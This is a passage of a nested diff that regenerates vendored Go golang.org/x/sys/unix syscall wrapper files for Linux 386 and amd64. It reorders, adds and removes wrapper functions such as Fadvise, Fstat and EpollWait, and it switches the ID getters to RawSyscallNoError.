-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(int64(r1)<<32 | int64(r0))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1275,9 +24,8 @@ func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1286,16 +34,9 @@ func Times(tms *Tms) (ticks uintptr, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,13 +45,8 @@ func Uname(buf *Utsname) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1319,8 +55,8 @@ func Unmount(target string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +65,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +76,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,128 +93,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_FADVISE64_64, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1518,8 +103,8 @@ func pipe2(p *[2]_C_int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1528,8 +113,8 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-- _, _, e1 := Syscall6(SYS_FADVISE64_64, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice))
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1538,18 +123,13 @@ func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1569,7 +149,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID32, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1577,7 +157,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID32, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1585,7 +165,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID32, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1593,7 +173,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID32, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1695,6 +275,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
- r0, _, e1 := Syscall6(SYS_SENDFILE64, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
- written = int(r0)
-@@ -1706,8 +306,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1716,8 +317,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1817,6 +419,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getgroups(n int, list *_Gid_t) (nn int, err error) {
- r0, _, e1 := RawSyscall(SYS_GETGROUPS32, uintptr(n), uintptr(unsafe.Pointer(list)), 0)
- nn = int(r0)
-@@ -1860,15 +472,8 @@ func mmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+func Pause() (err error) {
-+ _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1877,8 +482,8 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pause() (err error) {
-- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+func getrlimit(resource int, rlim *rlimit32) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1887,8 +492,8 @@ func Pause() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getrlimit(resource int, rlim *rlimit32) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+func setrlimit(resource int, rlim *rlimit32) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1897,8 +502,13 @@ func getrlimit(resource int, rlim *rlimit32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func setrlimit(resource int, rlim *rlimit32) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(resource), uintptr(unsafe.Pointer(rlim)), 0)
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1943,6 +553,21 @@ func Utime(path string, buf *Utimbuf) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
- n = int(r0)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go
-index dc8fe0a8..f64adef4 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,amd64 syscall_linux.go syscall_linux_amd64.go
-+// go run mksyscall.go -tags linux,amd64 syscall_linux.go syscall_linux_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,amd64
-@@ -14,1446 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
